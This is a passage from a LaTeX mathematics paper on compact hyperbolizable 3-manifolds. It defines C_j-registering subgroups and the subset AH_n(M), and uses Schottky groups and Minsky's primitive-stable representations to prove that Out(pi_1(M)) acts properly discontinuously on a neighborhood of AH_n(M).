a solid torus component of $\Sigma(M)$. Let $\{ A_1,\ldots, A_l\}$
denote the components of $Fr(T_j)$.
For each $i=1,\ldots,l$, let $X_i$ be
the component of $M-(T_j \cup C_1 \cup C_2 \cup \ldots \cup C_m)$
abutting $A_i$. (Notice that each $X_i$ is either a component of $M-\Sigma(M)$ or properly
isotopic to the interior of an interval bundle component of $\Sigma(M)$.)
Let $a$ be a core curve for $T_j$ and let $x_0$ be a point on $a$.
We say that a
subgroup $H$ of $\pi_1(M,x_0)$ is {\em $C_j$-registering}
if it is freely (and minimally) generated by $a$
and, for each $i=1,\ldots,l$, a loop $g_i$ in $T_j\cup X_i$ based at $x_0$ intersecting $A_i$ exactly twice. In particular,
every $C_j$-registering subgroup of $\pi_1(M,x_0)$ is isomorphic to $F_{l+1}$.
Notice that a Dehn twist $D_{A_i}$ along any $A_i$ preserves $H$ in $\pi_1(M,x_0)$.
It acts on $H$ by the map $t_i$ which fixes $a$ and $g_m$ for $m \neq i$,
and conjugates $g_i$ by $a^n$ (where the core curve of $A_i$ is homotopic
to $a^n$). Let $s_H:K_j\to {\rm Out}(H)$ be
the homomorphism which takes each $D_{A_i}$ to $t_i$.
Simultaneously twisting along all $l$ annuli induces conjugation by $a^n$, which is an inner automorphism of $H$. Moreover, it is easily checked that $s_H(K_j)$ is isomorphic
to ${\bf Z}^{l-1}$ and is generated
by $t_1,\ldots,t_{l-1}$.
The set $\{a,g_1,\ldots,g_l\}$ may be extended to a generating
set for $\pi_1(M,x_0)$ by appending curves which intersect $Fr(T_j)$ exactly
twice, so $D_{A_1}\circ\cdots D_{A_l}$ acts as conjugation by $a^n$ on all of $\pi_1(M,x_0)$. Therefore,
$K_j$ itself is isomorphic to ${\bf Z}^{l-1}$ and $s_H$ is
injective. (In particular, if $C_j$ is a single annulus in the boundary of a solid torus
component of $\Sigma(M)$, then $K_j$ is trivial and we could have omitted $C_j$.)
Now suppose that $C_j=\{A\}$ is a frontier annulus of an interval
bundle component $\Sigma_i$ of
$\Sigma$ which is not properly isotopic into a solid torus component
of $\Sigma$. Let $a$ be a core curve for $A$ and let $x_0$ be
a point on $a$. We say that a subgroup $H$ of $\pi_1(M,x_0)$ is
{\em $C_j$-registering} if it is freely (and minimally)
generated by $a$ and two loops $g_1$ and $g_2$ based
at $x_0$ each of whose interiors misses $A$, and which lie in the two
distinct components of $M-(C_1 \cup C_2 \cup \ldots \cup C_m)$ abutting $A$. In this case, $H$ is isomorphic to $F_3$. Arguing as above, it follows that $K_j$ is an infinite cyclic subgroup of ${\rm Out}(\pi_1(M))$ and there is an injection $s_H:K_j\to {\rm Out}(H)$.
In either situation, if $H$ is a $C_j$-registering group for a characteristic collection of
annuli $C_j$, then we may consider the map
$$r_H:X(M)\to X(H)$$
simply obtained
by taking $\rho$ to $\rho|_H$. (Here, $X(H)$ is the ${\rm PSL}_2({\bf C})$-character variety of the abstract
group $H$.)
One easily checks from the description above
that if $\alpha\in K_j$, then $r_H(\rho\circ\alpha)=r_H(\rho)\circ s_H(\alpha)$ for
all $\rho\in X(M)$.
Notice that if $\phi\in K_l$ and
$j\ne l$, then $K_l$ acts trivially on $H$, since each generating curve of $H$
is disjoint from $C_l$. Therefore, $$r_H(\rho\circ\alpha)=r_H(\rho)\circ s_H(q_j(\alpha))$$ for
all $\rho\in X(M)$ and $\alpha\in K(M)$.
We summarize the key points of this discussion for use later:
\begin{lemma}
\label{Kjinject}
Let $M$ be a compact hyperbolizable 3-manifold with incompressible
boundary and no toroidal boundary components.
If $C_j$ is a characteristic collection of annuli for $M$ and
$H$ is a $C_j$-registering subgroup of $\pi_1(M)$,
then $H$ is preserved by each element of $K_j$ and there is a natural
injective homomorphism $s_H:K_j\to {\rm Out}(H)$. Moreover, if $\alpha\in K(M)$,
then $r_H(\rho\circ\alpha)=r_H(\rho)\circ s_H(q_j(\alpha))$ for all $\rho\in X(M)$.
\end{lemma}
\section{Primitive essential annuli and manifolds with compressible boundary}
In this section we use a result of Johannson \cite{johannson} to show that every compact
hyperbolizable 3-manifolds with compressible boundary and no toroidal boundary
components contains a primitive essential annulus.
It then follows from Theorem \ref{prop:!T2} that if $M$ has compressible
boundary and no toroidal boundary components, then ${\rm Out}(\pi_1(M))$ fails to
act properly discontinuously on $AH(M)$ and $AI(M)$ is not
Hausdorff.
We first find indivisible curves in the boundary of compact hyperbolizable
3-manifolds with incompressible boundary and no toroidal boundary components.
We call a curve $a$ in $M$ {\em indivisible} if it generates a maximal
cyclic subgroup of $\pi_1(M)$.
\begin{lemma}
\label{primexists}
Let $M$ be a compact hyperbolizable 3-manifold with (non-empty) incompressible
boundary. Then, if $F$ is a component of $\partial M$,
there exists an indivisible simple closed curve in $F$.
\end{lemma}
\begin{proof}{}
We use a special
case of a result of Johannson \cite{johannson} (see also Jaco-Shalen \cite{JS-peripheral})
which characterizes divisible simple closed curves in $\partial M$.
\begin{lemma}{\rm (\cite[Lemma 32.1]{johannson})}
\label{divisible}
Let $M$ be a compact hyperbolizable 3-manifold with incompressible boundary.
An essential simple closed curve $\alpha$
in $\partial M$ which is not indivisible
is either isotopic into a solid torus component of $\Sigma(M)$ or
is isotopic to a boundary component of an essential M\"obius band in
an interval bundle component of $\Sigma(M)$.
\end{lemma}
Therefore, if $\Sigma(M)$ is not all of $M$, then any simple closed curve in $F$
which cannot be isotoped into a solid torus or interval bundle component of $\Sigma(M)$ is indivisible.
If $\Sigma(M)=M$, then $M$ is an interval bundle over a closed surface
with negative Euler characteristic and the proof is completed by the following lemma,
whose full statement will be used later in the paper.
\begin{lemma}{}
\label{primannuli}
Let $M$ be a compact hyperbolizable 3-manifold
with no toroidal boundary components.
Let $\Sigma_i$ be an interval bundle component of $\Sigma(M)$ which is not tiny,
then there is a primitive essential annulus (for $M$) contained in $\Sigma_i$.
\end{lemma}
\begin{proof}
Let $F_i$ be the base surface of $\Sigma_i$. Since $\Sigma_i$ is not tiny,
$F_i$ contains a non-peripheral
simple closed curve $a$ which is two-sided and homotopically non-trivial.
Then $a$ is an indivisible curve in $F_i$ and hence in $M$.
The sub-interval bundle $A$ over $a$ is thus a primitive essential annulus.
\end{proof}
\end{proof}
We are now prepared to prove the main result of the section.
\begin{prop}\label{lem:comp_implies_annulus}
If $M$ is a compact hyperbolizable $3$-manifold with compressible boundary and no toroidal boundary components, then $M$ contains a primitive essential annulus.
\end{prop}
\begin{proof}
We first observe that under our assumptions every
maximal abelian subgroup of $\pi_1(M)$ is cyclic (since every non-cyclic
abelian subgroup of the fundamental group of a compact hyperbolizable
3-manifold is conjugate into the fundamental group of a toroidal
component of $\partial M$, see \cite[Corollary 6.10]{Morgan}). Therefore, in
our case an essential annulus is primitive if and only if its core curve
is indivisible.
We first suppose that $M$ is a compression body. If $M$ is a handlebody, then
it is an interval bundle, so contains a primitive essential annulus by Lemma
\ref{primannuli}.
Otherwise, $M$ is formed from $R\times I$
by appending 1-handles to $R\times \{1\}$, where $R$ is a closed, but not necessarily
connected, orientable surface. Let $\alpha$ be an essential
simple closed curve in
$R\times \{1\}$ which lies in $\partial M$. Let $D$ be a
disk in $R\times \{1\}-\partial M$. We may assume that $\alpha$ intersects $\partial D$ in exactly one point. Let $\beta \subset (\partial M\cap R\times\{1\})$ be a simple closed curve homotopic
to $\alpha \ast \partial D$ (in $\partial M$) and disjoint from $\alpha$.
Then $\alpha$ and $\beta$ bound an embedded annulus in $R\times \{1\}$,
which may be homotoped to a primitive essential annulus in $M$ (by pushing
the interior of the annulus into the interior of $R\times I$).
If $M$ is not a compression body,
let $C_M$ be a characteristic compression body neighborhood of $\partial M$
(as discussed in Section \ref{sec:prelim}).
Let $C$ be a component of $C_M$ which has a compressible
boundary component $\partial_+C$ and an incompressible boundary component $F$.
Let $X$ be the component of $\overline{M-C_M}$ which
contains $F$ in its boundary and let $\alpha$ be an essential simple closed curve in
$F$ which is indivisible in $X$ (which exists by Lemma \ref{primexists}).
Let $\alpha'$ be a curve in $\partial_+C\subset\partial M$ which is homotopic to
$\alpha$.
One may then construct as above a primitive essential annulus $A$ in $C$
with $\alpha'$ as one boundary component.
It is clear that $A$ remains essential in $M$.
Since $\pi_1(M)=\pi_1(X)*H$ for some group $H$, the core curve of $A$,
which is homotopic to $\alpha$, is indivisible in $\pi_1(M)$.
Therefore, $A$ is our desired primitive essential annulus in $M$.
\end{proof}
\noindent {\bf Remark:}
The above argument is easily extended to the case where $M$ is allowed
to have toroidal boundary components (but is still hyperbolizable), unless
$M$ is a compression body all of whose boundary components are tori. In fact,
the only counterexamples in this situation occur when $M$ is obtained from
one or two untwisted interval bundles over tori by attaching exactly one 1-handle.
\medskip
We have thus already established Corollary \ref{thm:intro2} in the case that $M$ has
compressible boundary.
\begin{corollary}\label{cor:compressible_not_T2}
If $M$ is a compact hyperbolizable $3$-manifold with compressible boundary,
no toroidal boundary components, and non-abelian fundamental group,
then ${\rm Out}(\pi_1(M))$ does not act properly discontinuously on $AH(M)$.
Moreover, the moduli space $AI(M)$ is not Hausdorff.
\end{corollary}
\section{The space $AH_n(M)$}
In this section,
we assume that $M$ has incompressible boundary and
no toroidal boundary components. We identify a subset $AH_n(M)$ of
$AH(M)$ which contains all purely hyperbolic representations in $AH(M)$.
We will see later that ${\rm Out}(\pi_1(M))$ acts
properly discontinuously on an open neighborhood of $AH_n(M)$ in $X(M)$
if $M$ is not an interval bundle.
We define $AH_n(M)$ to be the set of (conjugacy classes of)
representations $\rho\in AH(M)$ such that
\begin{enumerate}
\item
If $\Sigma_i$ is a component of the characteristic submanifold which
is not a tiny interval bundle, then $\rho(\pi_1(\Sigma_i))$ is purely
hyperbolic (i.e. if $g$ is a non-trivial element of $\pi_1(M)$ which is conjugate into
$\pi_1(\Sigma_i)$, then
$\rho(g)$ is hyperbolic), and
\item
if $\Sigma_i$ is a tiny interval bundle, then $\rho(\pi_1(Fr(\Sigma_i))$ is
purely hyperbolic.
\end{enumerate}
We observe that ${\rm int}(AH(M))$ is a proper subset of $AH_n(M)$ and
that $AH(M)=AH_n(M)$ if and only if $M$ contains no primitive essential annuli.
\begin{lemma}
\label{allofit}
Let $M$ be a compact hyperbolizable 3-manifold with non-empty
incompressible boundary and no toroidal boundary components. Then
\begin{enumerate}
\item
the interior of $AH(M)$ is a proper subset of $AH_n(M)$,
\item $AH_n(M)$ contains a dense subset of $\partial AH(M)$,
and
\item
$AH_n(M)=AH(M)$ if and only if $M$ contains no
primitive essential annuli.
\end{enumerate}
\end{lemma}
\begin{proof}
Sullivan \cite{sullivan2} proved that all representations in ${\rm int}(AH(M))$
are purely hyperbolic (if $M$ has no toroidal boundary components), so
clearly ${\rm int}(AH(M))$ is contained in $AH_n(M)$. On the other hand,
$\partial AH(M)$ is non-empty (see Lemma 4.1 in Canary-Hersonsky \cite{CH})
and purely hyperbolic representations are dense in $\partial AH(M)$ (which follows from
Lemma 4.2 in \cite{CH} and the Density Theorem \cite{brock-bromberg,BCM,HN,ohshika-density}). This establishes claims (1) and (2).
If $M$ contains a primitive essential annulus $A$, then there exist $\rho\in AH(M)$
such that $\rho(\alpha)$ is parabolic (where $\alpha$ is the core curve of $A$),
so $AH_n(M)$ is not all of $AH(M)$ in this case (see Ohshika \cite{ohshika-parabolic}).
Now suppose that $M$ contains no primitive essential annuli.
We first note that every component of $\Sigma(M)$ is a solid torus or
tiny interval bundle (by Lemma \ref{primannuli}). Moreover, if $\Sigma_i$ is
a tiny interval bundle component of $\Sigma(M)$, then any component $A$
of its frontier must be isotopic to a component of the frontier of
a solid torus component of $\Sigma(M)$. Otherwise, $A$ would be a primitive
essential annulus (by Lemma \ref{divisible}).
Therefore, it suffices to prove that $\rho(\Sigma_i)$ is purely hyperbolic
whenever $\Sigma_i$ is a solid torus component of $\Sigma(M)$.
Let $T$ be a solid torus component of $\Sigma(M)$.
A frontier annulus $A$ of $T$ is an essential annulus in $M$, so it must not be primitive. It follows that the core curve $a$ of $T$ is not peripheral in $M$
(see \cite[Theorem 32.1]{johannson}).
Let $\rho\in AH(M)$ and let $R$ be a relative compact core for
$(N_\rho)^0_\epsilon$ (for some $\epsilon<\mu).$
Let $h:M\to R$ be a homotopy equivalence in the homotopy class determined by $\rho$.
By Johannson's Classification Theorem \cite[Thm.24.2]{johannson}, $h$ may
be homotoped so that $h(T)$ is a component $T'$ of $\Sigma(R)$,
$h|_{Fr(T)}$ is an embedding with image $Fr(T')$
and $h|_T:(T,Fr(T))\to (T',Fr(T'))$ is a homotopy equivalence of pairs.
It follows that $h(a)$ is homotopic to the core curve of $T'$ which is
not peripheral in $R$.
If $\rho(a)$ were parabolic, then $h(a)$ would be homotopic into a non-compact
component of $(N_\rho)_{thin(\epsilon)}$ and hence into
$P=R\cap \partial( N_\rho)^0_\epsilon\subset\partial R$, so $h(a)$ would be peripheral
in $R$. It follows that $\rho(a)$ is hyperbolic. Since $a$ generates $\pi_1(T)$, we see
that $\rho(\pi_1(T))$ is purely hyperbolic.
Since $T$ is an arbitrary solid torus component of $\Sigma(M)$,
we see that $\rho\in AH_n(M)$.
\end{proof}
We next check that the restriction of $\rho\in AH_n(M)$ to the fundamental group of an
interval bundle component of $\Sigma(M)$ (which is not tiny) is Schottky.
By definition, a Schottky group is a free, geometrically finite, purely hyperbolic subgroup of $\rm{PSL}_2({\bf C})$ (see Maskit \cite{maskit-free} for
a discussion of the equivalence of this definition with more classical definitions).
\begin{lemma}
\label{IbundleSchottky}
Let $M$ be a compact hyperbolizable 3-manifold with incompressible
boundary with no toroidal boundary components which is not an interval bundle.
If $\Sigma_i$ is an interval bundle component of $\Sigma(M)$ which is not tiny and
\hbox{$\rho\in AH_n(M)$}, then $\rho(\pi_1(\Sigma_i))$ is a Schottky group.
\end{lemma}
\begin{proof}
By definition $\rho(\pi_1(\Sigma_i))$ is purely hyperbolic,
so it suffices to prove it is free and geometrically finite.
Since $\Sigma_i$ is an interval bundle whose base surface $F_i$ has
non-empty boundary, $\pi_1(\Sigma_i)\cong\pi_1(F_i)$ is free.
Let $\pi_i:N_i\to N_\rho$ be the cover of $N_\rho$ associated to
$\rho(\pi_1(\Sigma_i))$.
Since $\pi_1(\Sigma_i)$ has infinite index in $\pi_1(M)$,
$\pi_i:N_i\to N$ is a covering with infinite degree.
Let $R_i$ be a compact core for $N_i$. Since $\pi_1(R_i)$ is free and $R_i$ is irreducible,
$R_i$ is a handlebody (\cite[Theorem 5.2]{hempel}).
Therefore, $N_i=(N_i)^0_\epsilon$ has
one end and $\pi_i$ is infinite-to-one on this end, so the Covering Theorem
(see \cite{cover}) implies that this end is geometrically finite, and hence that
$N_i$ is geometrically finite. Therefore, $\rho(\pi_1(\Sigma_i))$ is geometrically finite,
completing the proof that it is a Schottky group.
\end{proof}
Finally, we check that if $\rho\in AH_n(M)$ and $C_j$ is a characteristic
collection of annuli, then there exists a $C_j$-registering subgroup
whose image under $\rho$ is Schottky.
\begin{lemma}
\label{CjSchottky}
Suppose that $M$ is a compact hyperbolizable 3-manifold with incompressible
boundary and no toroidal boundary components
and $C_j$ is a characteristic collection of frontier annuli for $M$.
If $\rho\in AH_n(M)$, then there exists a $C_j$-registering subgroup $H$ of
$\pi_1(M)$ such that $\rho(H)$ is a Schottky group.
\end{lemma}
\begin{proof}
We first suppose that $C_j=\{ A\}$ is a frontier annulus of an interval bundle component of
$\Sigma(M)$ (and that $A$ is not properly isotopic to a frontier annulus of
a solid torus component of $\Sigma(M)$) and let $x_0\in A$. We identify $\pi_1(M)$ with $\pi_1(M,x_0)$.
Let $X_1$ and $X_2$ be the (distinct) components of \hbox{$M-Fr(\Sigma)$} abutting $A$.
Notice that each $X_i$ must have non-abelian fundamental group, since
it either contains (the interior of) an interval bundle component of $\Sigma(M)$ or
(the interior of) a component of $M-\Sigma(M)$ which is not a solid torus lying
between an interval bundle component of $\Sigma(M)$ and a solid torus component
of $\Sigma(M)$.
Let $a$ be the core curve of $A$ (based at $x_0$). By assumption,
$\rho(a)$ is a hyperbolic element.
Let $F$ be a fundamental
domain for the action of \hbox{$<\rho(a)>$} on $\Omega(<\rho(a)>)$
which is an annulus in $\widehat{\mathbb{C}}$. Since each $\rho(\pi_1(\overline{X_i},x_0))$ is discrete,
torsion-free and non-abelian, hence non-elementary, we may
choose hyperbolic elements $\gamma_i\in \rho(\pi_1(\overline{X_i},x_0))$
whose fixed points lie in the interior of $F$. There exists $s>0$ such that one may
choose (round) disks $D_i^\pm\subset {\rm int}(F)$ about the fixed points
of $\gamma_i$, such that $\gamma_i^s({\rm int}(D_i^-))=\widehat{\mathbb{C}} -D_i^+$, and
$D_1^+$, $D_1^-$, $D_2^+$ and $D_2^-$ are disjoint.
Then, the Klein Combination Theorem (commonly referred to as
the ping pong lemma), guarantees that $\rho(a)$,
$\gamma_1^s$ and $\gamma_2^s$ freely generate a Schottky group,
see, for example, Theorem C.2 in Maskit \cite{maskit-book}.
Then each $\rho^{-1}(\gamma_i^s)$ is represented by a curve $g_i$ in $\overline{X_i}$
based at $x_0$ and $a$, $g_1$ and $g_2$ generate a $C_j$-registering
subgroup $H$ such that $\rho(H)$ is Schottky.
Now suppose that $C_j=\{A_1,\ldots,A_l\}$ is the collection of frontier annuli
of a solid torus component $T_j$ of $\Sigma(M)$. Let $X_i$ be the component
of \hbox{$M - (T_j \cup C_1 \cup \ldots \cup C_m)$} abutting $A_i$.
Pick $x_0$ in $T_j$ and let $a$ be a core curve of $T_j$ passing through $x_0$.
Again each $X_i$ must have non-abelian fundamental group.
Let $F$ be an annular fundamental domain for the action of $<\rho(a)>$ on the complement
in $\widehat{\mathbb{C}}$ of the fixed points of $\rho(a)$.
For each $i$, let \hbox{$Y_i=X_i\cup A_i\cup {\rm int}(T_j')$} and
pick a hyperbolic element $\gamma_i$ in $\rho(\pi_1(Y_i,x_0))$
both of whose fixed points lie in the interior of $F$. (Notice that even though
it could be the case that $X_i=X_k$ for $i\ne k$, we still have
that $\pi_1(Y_i,x_0)$ intersects $\pi_1 (Y_k,x_0)$ only in the subgroup
generated by $a$, so these hyperbolic elements are all distinct.) Then, just
as in the previous case, there exists $s>0$ such that the elements
$\{\rho(a),\gamma_1^s,\ldots,\gamma_l^s\}$ freely generate a Schottky group.
Each $\rho^{-1}(\gamma_i^s)$ can be represented by a loop $g_i$
based at $x_0$ which lies in $Y_i$ and intersects
$A_i$ exactly twice. Therefore, the group $H$ generated by $\{a,g_1,\ldots,g_2\}$
is $C_j$-registering and $\rho(H)$ is Schottky.
\end{proof}
\section{Proper discontinuity on $AH_n(M)$}
\label{propdisc}
We are finally prepared to prove that ${\rm Out}(\pi_1(M))$ acts properly discontinuously
on an open neighborhood of $AH_n(M)$ if $M$ is a compact hyperbolizable
3-manifold with incompressible boundary and no toroidal boundary components
which is not an interval bundle.
\begin{theorem}
\label{Pdiscnbhd} Let $M$ be a compact hyperbolizable $3$-manifold with nonempty incompressible boundary and no toroidal boundary components which is not an
interval bundle. Then there exists an open ${\rm Out}(\pi_1(M)$-invariant neighborhood
$W(M)$ of $AH_n(M)$ in $X(M)$ such that ${\rm Out}(\pi_1(M))$ acts properly discontinuously on $W(M)$.
\end{theorem}
\medskip
Notice that Theorem \ref{thm:intro3} is an immediate consequence of
Proposition \ref{lem:comp_implies_annulus},
Lemma \ref{allofit} and Theorem \ref{Pdiscnbhd}.
Moreover,
Theorem \ref{openpd} is an
immediate corollary of Lemma \ref{allofit}
and Theorem \ref{Pdiscnbhd}.
\medskip
We now provide a brief outline of the section. In section 9.1 we recall Minsky's
work which shows that ${\rm Out}(\pi_1(H_n))$ acts properly discontinuously
on the open set $PS(H_n)$ of primitive-stable representations in $X(H_n)$
where $H_n$ is the handlebody of genus $g$. In section 9.2,
we consider the set $Z(M)\subset X(M)$
such that if $\rho\in Z(M)$ and $C_j$ is a characteristic collection of annuli,
then there exists a $C_j$-registering subgroup $H$ of $\pi_1(M)$ such
that $\rho|_H$ is primitive stable. We use Minsky's work to show that
$K(M)$ acts properly discontinuously on $Z(M)$. In section 9.3, we consider the set
$V(M)$ of all representation such that $\rho|_{\pi_1(\Sigma_i)}$ is primitive-stable whenever
$\Sigma_i$ is an interval bundle component of $\Sigma(M)$ which is not tiny.
We show that if $\{\alpha_n\}$ is a sequence in $J(M)$ such that $\{\rho_\Sigma(\alpha_n)\}$
is a sequence of distinct elements and $K$ is compact subset of $V(M)$,
then $\{\alpha_n(K)\}$ leaves every compact set.
In section 9.4, we let $W(M)=Z(M)\cap V(M)$ and combine
the work in the previous sections to show that $J(M)$
acts properly discontinuously on $W(M)$. Since $J(M)$ has finite
index in ${\rm Out}(\pi_1(M))$ (see \cite{CM}),
this immediately implies Theorem \ref{Pdiscnbhd}. Johannson's Classification
Theorem is used to show that $J(M)$ is invariant under ${\rm Out}(\pi_1(M))$.
\subsection{Schottky groups and primitive-stable groups}
In this section, we recall Minsky's work \cite{minsky-primitive} on
primitive-stable representations of the free group $F_n$, where $n\ge 2$.
An element of $F_n$ is called {\em primitive} if it is an element of a minimal free
generating set for $F_n$. Let $X$ be a bouquet of $n$ circles with base point $b$
and fix a specific identification of $\pi_1(X,b)$ with $F_n$. To a conjugacy class
$[w]$ in $F_n$ one can associated an infinite geodesic in $X$ which
is obtained by concatenating infinitely many copies of a cyclically reduced
representative of $w$ (here the cyclic reduction is in the generating set
associated to the natural generators of $\pi_1(X,b)$). Let $\mathcal{P}$
denote the set of infinite geodesics in the universal cover $\tilde X$ of
$X$ which project to geodesics associated to primitive words of $F_n$.
Given a representation $\rho:F_n\to \rm{PSL}_2({\bf C})$, $x\in\H^3$ and a lift
$\tilde b$ of $b$, one obtains a unique $\rho$-equivariant
map $\tau_{\rho,x}:\tilde X\to \H^3$ which
takes $\tilde b$ to $x$ and maps each edge of $\tilde X$ to a geodesic.
A representation $\rho:F_n\to \rm{PSL}_2({\bf C})$ is {\em primitive-stable} if there
are constants $K,\delta>0$ such that $\tau_{\rho,x}$ takes all
the geodesics in $\mathcal{P}$ to $(K,\delta)$-quasi-geodesics in $\H^3$.
We let $PS(H_n)$ denote the set of (conjugacy classes) of primitive-stable
representations in $X(H_n)$ where $H_n$ is the handlebody of genus $n$.
We summarize the key points of Minsky's work which we use
in the remainder of the section.
We recall that Schottky space $\mathcal{S}_n\subset X(H_n)$ is the space
of discrete faithful representations whose image is a Schottky group and
that $\mathcal{S}_n$
is the interior of $AH(H_n)$.
\begin{theorem}
\label{PSfacts}
{\rm (Minsky \cite{minsky-primitive})}
If $n\ge2$, then
\begin{enumerate}
\item
${\rm Out}(F_n)$ acts properly discontinuously on $PS(H_n)$,
\item
$PS(H_n)$ is an open subset of $X(H_n)$, and
\item
Schottky space $\mathcal{S}_n$ is a proper subset of $PS(H_n)$.
\end{enumerate}
Moreover, if $K$ is any compact subset of $PS(H_n)$,
and $\{\alpha_n\}$ is a sequence of distinct elements of ${\rm Out}(F_n)$,
then $\{\alpha_n(K)\}$ exits every compact subset of $X(H_n)$ (i.e. for any
compact subset $C$ of $X(H_n)$ there exists $N$ such that if $n\ge N$,
then $\alpha_n(K)\cap C=\emptyset$).
\end{theorem}
\noindent
{\bf Remark:}
In order to prove our main theorem it would suffice to use
Schottky space $\mathcal{S}_n$ in place of $PS(H_n)$. However,
the subset $W(M)$ we obtain using $PS(H_n)$ is larger
than we would obtain using simply $\mathcal{S}_n$.
\subsection{Characteristic collection of annuli}
We will assume for the remainder of the section that $M$ is a
compact hyperbolizable 3-manifold with incompressible boundary and
no toroidal boundary components which is not an interval bundle.
Main Topological Theorem 2 in Canary and McCullough \cite{CM}
(which is itself an exercise in applying Johannson's theory) implies that that
if $M$ has incompressible boundary and no toroidal boundary components,
then ${\rm Mod}(M)$ has finite index in ${\rm Out}(\pi_1(M))$. Therefore,
applying Theorem \ref{Jstructure}, we see that $J(M)$ has finite
index in ${\rm Out}(\pi_1(M))$.
Let $C_j$ be a characteristic collection of annuli in $M$.
If $H$ is a $C_j$-registering subgroup of $\pi_1(M)$, then
the inclusion of $H$ in $\pi_1(M)$
induces a natural injection $s_H:K_j\to {\rm Out}(H)$
such that if $\alpha\in K(M)$, then $r_H(\rho\circ\alpha)=r_H(\rho)\circ s_H(q_j(\alpha))$
where $r_H(\rho)=\rho|_H$ (see Lemma \ref{Kjinject}).
Let $Z_H=r_H^{-1}(PS(H))$ where $PS(H)\subset X(H)$ is the set of
(conjugacy classes of) primitive-stable
representations of $H$.
Let $Z(C_j)=\bigcup Z_H$ where the union is taken over all
$C_j$-registering subgroups $H$ of $\pi_1(M)$.
If $\{ C_1,\ldots, C_m\}$ is the set of all characteristic collections of annuli for $M$,
then we define
$$Z(M)=\bigcap_{i=1}^m Z(C_j).$$
We use Lemma \ref{CjSchottky}, Theorem \ref{PSfacts}, and Johannson's Classification
Theorem to prove:
\begin{lemma}{}
\label{controlK}
Let $M$ be a compact hyperbolizable $3$-manifold with nonempty incompressible boundary and no toroidal boundary components. Then
\begin{enumerate}
\item
$Z(M)$ is an ${\rm Out}(\pi_1(M))$-invariant open neighborhood of $AH_n(M)$ in $X(M)$,
and
\item
if $K\subset Z(M)$ is compact and
$\{\alpha_n\}$ is a sequence of distinct elements of $K(M)$,
then $\alpha_n(K)$ exits every compact set of $X(M)$.
\end{enumerate}
\end{lemma}
\begin{proof}
Lemma \ref{CjSchottky} implies that $AH_n(M)\subset Z(C_j)$ for each $j$,
so $AH_n(M)\subset Z(H)$. Moreover, since $r_H$ is continuous for all $H$, each $Z(C_j)$
is open, and hence $Z(M)$ is open.
Johannson's Classification Theorem implies
that if $C_j$ is a characteristic collection of annuli for $M$ and $\phi\in {\rm Out}(\pi_1(M))$,
then there exists a homotopy equivalence $h:M\to M$ such that $h_*=\phi$ and
$h(C_j)$ is also a characteristic collection of annuli for $M$. Moreover, if $H$ is
a $C_j$-registering subgroup of $\pi_1(M)$, then $\phi(H)$ is
a $h(C_j)$-registering subgroup of $\pi_1(M)$. Therefore, $Z(M)$ is
${\rm Out}(\pi_1(M))$-invariant, completing
the proof of claim (1).
If (2) fails to hold, then there is a compact subset $K$ of $Z(M)$, a compact
subset $C$ of $X(M)$ and a sequence $\{\alpha_n\}$ of distinct elements of $K(M)$
such that $\alpha_n(K)\cap C$ is non-empty for all $n$. We may pass to
a subsequence, still called $\{\alpha_n\}$, so that there exists $j$ such that $\{q_j(\alpha_n)\}$ is a sequence
of distinct elements. Since $X(M)$ is locally compact,
for each $x\in K$, there exists an open neighborhood $U_x$
of $x$ and a $C_j$-registering subgroup $H_x$ such that the closure
$\bar U_x$ is a compact subset of $Z_{H_x}$. Since $K$ is compact,
there exists a finite collection of points $\{ x_1,\ldots, x_r\}$ such that
$K\subset U_{x_1}\cup \cdots\cup U_{x_r}$. Therefore, again passing
to subsequence if necessary, there must exists
$x_i$ such that $\alpha_n(U_{x_i})\cap C$ is non-empty for all $n$. Let
$U'=U_{x_i}$ and $H'=H_{x_i}$.
Lemma \ref{Kjinject} implies that
$\{s_{H'}(q_j(\alpha_n))\}$ is a sequence of distinct elements of ${\rm Out}(H')$
and that $s_{H'}(q_j(\alpha_n))(r_{H'}(\bar U'))=r_{H'}(\alpha_n(\bar U'))$.
Theorem \ref{PSfacts} then
implies that $\{s_{H'}(q_j(\alpha_n))(r_{H'}(\bar U'))\}=\{ r_{H'}(\alpha_n(\bar U'))\}$ exits every compact
subset of $X(H')$. Therefore, $\{\alpha_n(U')\}$ exits every compact subset of
$X(M)$ which is a contradiction. We have thus established (2).
\end{proof}
\subsection{Interval bundle components of $\Sigma(M)$}
Let $\Sigma_i$ be an interval bundle component of $\Sigma(M)$ with base
surface $F_i$ and let $X(\Sigma_i)$ be its associated character variety.
There exists a natural restriction map $r_i:X(M)\to X(\Sigma_i)$ taking
$\rho$ to $\rho|_{\pi_1(\Sigma_i)}$.
Recall that $G(\Sigma_i,Fr(\Sigma_i))$ injects into ${\rm Out}(\pi_1(\Sigma_i))$
(by Lemma \ref{Jstructure}),
so acts effectively on $X(\Sigma_i)$.
Moreover, if $\alpha\in J(M)$, then
$r_i(\rho\circ \alpha)=r_i(\rho)\circ p_i(\alpha)$
where $p_i$ is the projection of $J(M)$ onto $G(\Sigma_i, Fr(\Sigma_i))$.
If $\Sigma_i$ is not tiny,
we define
$$V(\Sigma_i)=r_i^{-1}(PS(\Sigma_i)).$$
If $\{\Sigma_1,\ldots,\Sigma_n\}$ denotes the collection of
all interval bundle components of $\Sigma(M)$ which are not tiny, then
we let
$$V(M)=\bigcap_{i=1}^n V(\Sigma_i).$$
We use Lemma \ref{IbundleSchottky}, Theorem \ref{PSfacts}, and Johannson's Classification
Theorem to prove:
\begin{lemma}
\label{controlMod}
Let $M$ be a compact hyperbolizable $3$-manifold with nonempty incompressible boundary and no toroidal boundary components which is not an
interval bundle. Then
\begin{enumerate}
\item
$V(M)$ is an ${\rm Out}(\pi_1(M))$-invariant open neighborhood of $AH_n(M)$ in $X(M)$, and
\item
if $K$ is a compact subset of $V(M)$ and $\{\alpha_n\}$ is a sequence in $J(M)$
such that $\{p_\Sigma(\alpha_n)\}$ is
a sequence of distinct elements
of $G(\Sigma,Fr(\Sigma))$, then $\{\alpha_n(K)\}$ exits every compact subset of $X(M)$.
\end{enumerate}
\end{lemma}
\begin{proof}
Lemma \ref{IbundleSchottky}
implies that $AH_n(M)\subset V(\Sigma_i)$, for each $i$, and each $V(\Sigma_i)$
is open since $r_i$ is continuous. Therefore, $V(M)$ is an open neighborhood of $AH_n(M)$.
Johannson's Classification Theorem implies that if $\phi\in {\rm Out}(\pi_1(M))$,
then there exists a homotopy equivalence $h:M\to M$ such that $h(\Sigma(M))\subset\Sigma(M)$, $h|_{Fr(\Sigma)}$ is a self-homeomorphism of $Fr(\Sigma)$
